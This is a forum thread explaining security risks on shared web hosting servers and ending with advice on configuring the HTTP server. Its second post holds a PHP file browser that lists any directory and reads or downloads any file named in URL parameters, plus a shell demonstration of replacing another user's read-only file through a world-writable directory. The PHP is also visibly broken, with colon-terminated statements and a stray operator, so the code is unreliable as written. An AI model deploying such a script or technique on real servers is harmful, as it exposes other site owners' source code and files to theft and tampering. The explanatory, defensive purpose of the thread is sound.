Shared Hosting & Security Issues

[Rock]

I'll explain in brief about few security issues arising in Shared Web Hosting environment..

It is a common practice for owners of sites to rent disk space belonging to hosting companies. A hosting company is a company that hosts & supports sites on its servers. As a result, a hosting server can hold tens & even hundreds of sites.

Naturally, security issues are urgent for systems on hosting servers. As a rule, the owners of a resource located on a hosting server protect their files well enough.

Most hosting companies offer access to their clients' files using FTP. An FTP server on a hosting server is configured so that authentication & authorization are required. An authorized user can access only his or her home directory for reading & writing. Clients cannot read & especially cannot change files outside their directories.

The root Web directory of a site is often a subdirectory of the site owner's home directory. This allows the user to have files & directories that are available only to him or her for reading & that are inaccessible using HTTP. A list of files in a user's home directory can be as shown in the next example

SSh :

[user:~]$ cd ~

[user:~]$ ls -la
total 512
drwxr-xr-x 25 user user 512 Aug 24 18:23 .
drwxr-xr-x 20 root wheel 512 Nov 18 14:28 ..
-rw------- 1 user user 7219 Dec 10 21:12 .bash history
-rw-r--r-- 1 user user 771 May 27 2010 .cshrc
-rw-r--r-- 1 user user 248 May 23 2010 .login
-rw-r--r-- 1 user user 158 May 23 2010 .login_conf
-rw------- 1 user user 276 May 23 2010 .rhosts
-rw-r--r-- 1 user user 975 May 27 2010 .shrc
drwxr-xr-x 6 user apache 512 May 1 2010 httpd
drwxr-xr-x 3 user user 512 May 23 2010 mail
drwxrwxrwx 13 user user 512 May 28 2010 share

In general, this solution proves to be good. In some cases, access for reading & writing (changing attributes) to files belonging to the user is insufficient for setting the system. For example, he or she might need access to certain server commands such as setting the cron daemon so that certain commands execute according to a certain schedule. For another example, the user might need to install specific software. When this is required, access using the secure shell (SSH) protocol is arranged. Giving users additional rights such as a right to execute any command can weaken both the security of the hosting server & the security of the sites it hosts.

Although server security is a concern of the hosting administrator, the security of a particular site is a concern of its owner. As a result, it is common that one of the hosting company's clients can read & sometimes execute files belonging to another user. If this situation is likely in your hosting company, you should develop your system or site with the assumption that the code of your scripts can be disclosed.

A hosting server can be configured so that it is difficult for users to access files belonging to other users. This can be done by restricting options of the command line. Depending on a particular implementation, the host can use various methods to protect the users of a system from the users of other systems.

You might now think that reliable protection against unauthorized access to files could be achieved by allowing only the owner of the files to access them for reading & writing. However, for normal functioning of an HTTP server, files accessible from the Web must be accessible for reading to the user who started the HTTP server. Sometimes, scripts (executed as CGI applications) require the user who started the HTTP server to have the right to execute these scripts.

Imagine a situation, in which the owners of a site can access only their files. In addition, suppose the hosting company allows its clients to place only static pages on their sites. Any dynamic content (except, perhaps, server-side include) is not supported. In this situation, it is impossible to access files on one site from the context of another site.

As always, the most secure configuration is one that uses only static documents that don't respond to changes in external conditions. However, systems & sites with only static content cannot satisfy their users nowadays. Therefore, hosting companies that allow their clients to put only static HTML pages wouldn't be competitive against companies that support dynamic content. So, you can be sure that any hosting company will host sites with dynamic content.

The source code of scripts is private information that shouldn't be available to a third party. At the same time, as I mentioned earlier, it should be available for reading to the user who started the HTTP server. In most configurations, the scripts are executed with the access rights of this user. Therefore, you should remember the following warning. In some cases, a user able to execute any script in the context of a site can access any script on another site physically located on the same server.

This fact is the most important for the security of systems on hosting servers. By executing malicious scripts, an attacker can obtain the source code of scripts on another site physically located on the same server. In addition, the attacker sometimes can read other system files (e.g., HTTP server settings or system configuration files) even though he or she shouldn't.

More to be added tomorrow.. my fingers ache now

[amndalb]

great effort Rock!!!

[Rock]

great effort Rock!!!

Thank you

[Rock]

Hi all !

Ahh that 'tomorrow' has been quite late though.. almost a month, was busy with few other serious issues..

Ok, here's more on shared hosting security specially 'the Files & the Web Server'....

The following File Analysis (investigating the file system of a server) method stated in the below given script/example, works even when the only option you have is the use of PHP & when the PHP interpreter is running in the safe mode. In addition, if you can execute operating system commands & obtain their results (i.e., you have certain restricted HTTP server rights), you can investigate the server file system by using commands such as cd, ls, & cat in UNIX-like operating systems or cd, dir, & type in Windows ones..

<?
$dir=$_GET['dir'];
$file=$_GET['file'];
$save=$_GET['save'];
if(!empty ($file) && !empty($save))
{
  $fname=addslashes($file);
  Header("Content-Type: application/octet-stream");
  $fullfile="{$dir}{$file}";
  $f=fopen($fullfile, "r");
  $ff="";
  while($b=fread($f, 1024))
  {
    $ff.=$b;
  };
  fclose($f);
  header("Content-Type: application/octet-stream; name=\"".$fname."\""):
  header("Content-Disposition: attachment; filename=\"".$fname."\""):
  header("Content-Length: ".strlen($ff)."");
  header("Content-Transfer-Encoding: binary");
  header("Connection: close");
  echo ($ff);
  exit;
}
if(empty($dir)) $dir=".";
if(!preg_match("/\/$/", $dir, $rd) ) $dir.="/";
echo "<html>
<head>
<title>".htmlspecialchars($dir)."</title>
</head>
<b>".htmlspecialchars($dir)."</b>
<table>
<tr>
<td>access rights</td>
<td>owner</td>
<td>group</td>
<td>size</td>
<td>name</td>
</td>
";
if ($ddir = opendir($dir))
{
  while ($dfile = readdir($ddir))
  {
    $dfullfile=$dir.$dfile;
    $str="<tr>";
    $str.="<td>".htmlspecialchars(fileperms($dfullfile))."</td>";
    $str.="<td>".htmlspecialchars(fileowner($dfullfile))."</td>";
    $str.="<td>".htmlspecialchars(filegroup($dfullfile))."</td>";
    $str.="<td>".htmlspecialchars(filesize($dfullfile))."</td>";
    if(is_dir($dfullfile))
    {
      $dfullfile.="/";
      $str.="<td><a href=\"1.php?dir=".
      htmlspecialchars($dfullfile)."\"><b>".
      htmlspecialchars ($dfile)."/</b></a></td>";
    }
    if(is_file($dfullfile)) {
      $dfullfile.="/";
      $str.="<td><a href=\"l.php?dir=".htmlspecialchars($dir).
      "&file=".htmlspecialchars($dfile),"\">".
      htmlspecialchars($dfile)."</a>
      (<a href=\"1.php?dir=".htmlspecialchars($dir).
      "&file=".htmlspecialchars($dfile).
      "&save=1\">save</a>)
      </td>";
    }
    $str.="</tr>";
    echo $str;
  }
  closedir($ddir);
}
echo"
</table>
".
if(!empty($file))
{
  $fullfile="{$dir}{$file}";
  $f=fopen($fullfile, "r");
  echo "<br><pre>---------".
  htmlspecialchars($fullfile).
  " ---------\r\n";
  while($b=fread($f, 1024))
  {
    echo htmlspecialchars($b);
  };
  fclose($f);
}
echo "
</body>
</html>
";
?>

In these examples, I don't concentrate on who accesses other people's sites: the owner of a site on the hosting server or a malicious hacker who obtained access to a site on this server. In these situations, various scenarios are possible.. A vulnerability in one site on the hosting server is a danger for all sites on this server. You could say it doesn't matter how many vulnerable sites are on a hosting server. Therefore, even if the target server is on a hosting server & is developed with all safety precautions & without vulnerabilities, this doesn't guarantee the security of the system. One vulnerable site that is not of interest to the attacker can be a threat to the entire hosting system treated as a set of sites.

What's more, if the attacker fails to find vulnerable sites located on the same hosting server as the target server, the cost of breakage for the attacker will be equal to the cost of renting the disk space with an option of executing scripts on this hosting server. In addition, some systems or sites require certain files to be available for writing to certain system scripts. In most cases, these files are simply made available for writing to all users. As a result, any user can change the contents of these files. Because the primary goal is the ability to change the contents of these files using scripts, these files should be accessible for reading to the user who started the HTTP server.. Thus, a person who controls a site (regardless of the ways, in which he or she obtained control) can change files available for writing on the target site.

If the attacker controls a site on the server, he or she can load this file on the server & edit the files of another site available for writing. Often, a file is not available for writing but the directory that contains it is available. In addition, this file can be available for reading to the attacker. Consider an example, If the attacker has the access rights of the apache user & the apache group.. The attacker wants to change the TEST.TXT file, which is available to the apache user for reading but not for writing. The directory is available for writing to all users..

[sectest:~]$ id
uid=80(apache) gid=80(apache) groups=80(apache)
[sectest:~]$ ls -la
total 8
drwxrwxrwx   2 user     user   512 Jul 15 17:06 .
drwxr-xr-x  18 root     wheel 2560 Jul 15 17:03 ..
-rw-r--r--   1 user     user    10 Jul 15 17:03 test.txt
[sectest:~]$ cat test.txt
test file
[sectest:~]$ echo EDITED >> test.txt
-bash: test.txt: Permission denied
[sectest:~]$ cp test.txt x.txt
[sectest:~]$ ls -la
total 10
drwxrwxrwx   2 user     user    512 Jul 15 17:06 .
drwxr-xr-x  18 root     wheel  2560 Jul 15 17:03 ..
-rw-r--r--   1 user     user     10 Jul 15 17:03 test.txt
-rw-r--r--   1 apache   apache   10 Jul 15 17:06 x.txt
[sectest:~]$ cat x.txt
test file
[sectest:~]$ echo EDITED >> x.txt
[sectest:~]$ cat x.txt
test file
EDITED
[sectest:~]$ rm test.txt
override rw-r--r-- user/user for test.txt? y
[sectest:~]$ ls -la
total 8
drwxrwxrwx   2 user     user    512 Jul 15 17:07 .
drwxr-xr-x  18 root     wheel  2560 Jul 15 17:03 ..
-rw-r--r--   1 apache   apache   17 Jul 15 17:07 x.txt
[sectest:~]$ mv x.txt test.txt
[sectest:~]$ ls -la
total 8
drwxrwxrwx   2 user     user    512 Jul 15 17:07 .
drwxr-xr-x  18 root     wheel  2560 Jul 15 17:03 ..
-rw-r--r--   1 apache   apache   17 Jul 15 17:07 test.txt
[sectest:~]$ cat test.txt
test file
EDITED
[sectest:~]$ 

This is how the content of a file available only for reading could be changed.. Note that a side effect of this method is that the owner of the file has changed. Therefore, if the administrator investigates the incident, he or she will find the user who performed these actions. However, in this example, the actions were performed using a script available through HTTP on behalf of the apache user. To find the person who performed these actions, the administrator will have to analyze log files on the server. In some cases, he or she will fail to find the person.

To eliminate the vulnerability that allows an attacker to use scripts executed with the access rights of the HTTP server to read files belonging to other systems, hosting providers sometimes configure their servers so that the scripts are executed with the access rights of their owner or of the owner of the site. With such an approach, you can make files available for reading only to their owners... It will be impossible to use scripts belonging to other sites to read the contents of these files.

I'd like to emphasize that you should be careful when setting access rights to these files; otherwise, you won't achieve the desired goal. The higher the security level of invulnerable system, the lower the level of vulnerable ones.. The rights of file owners are privileges higher than the rights of the HTTP server. As a rule, the user who started the HTTP server gains minimal rights in the system...

Consider a system, in which scripts accessed using HTTP are executed with the rights of their owner or of the owner of the site. If the attacker finds a vulnerability allowing him or her to execute any commands, he or she will be able to execute them with the access rights of that user.. Because files belonging to a user are usually available for writing to that user, the attacker will be able to change the contents of these files & to read them..

To summarize, I strongly recommend that you stick to the following rule when configuring the HTTP server:

Scripts & programs that can be started using HTTP shouldn't be executed with the access rights of their owner or of the owner of the site... The best & the most common approach is to execute them with the access rights of a user with the minimum privileges in the system (e.g., nobody, apache, or www).

That's for today, err tonight.. till then.. laters.. :wink: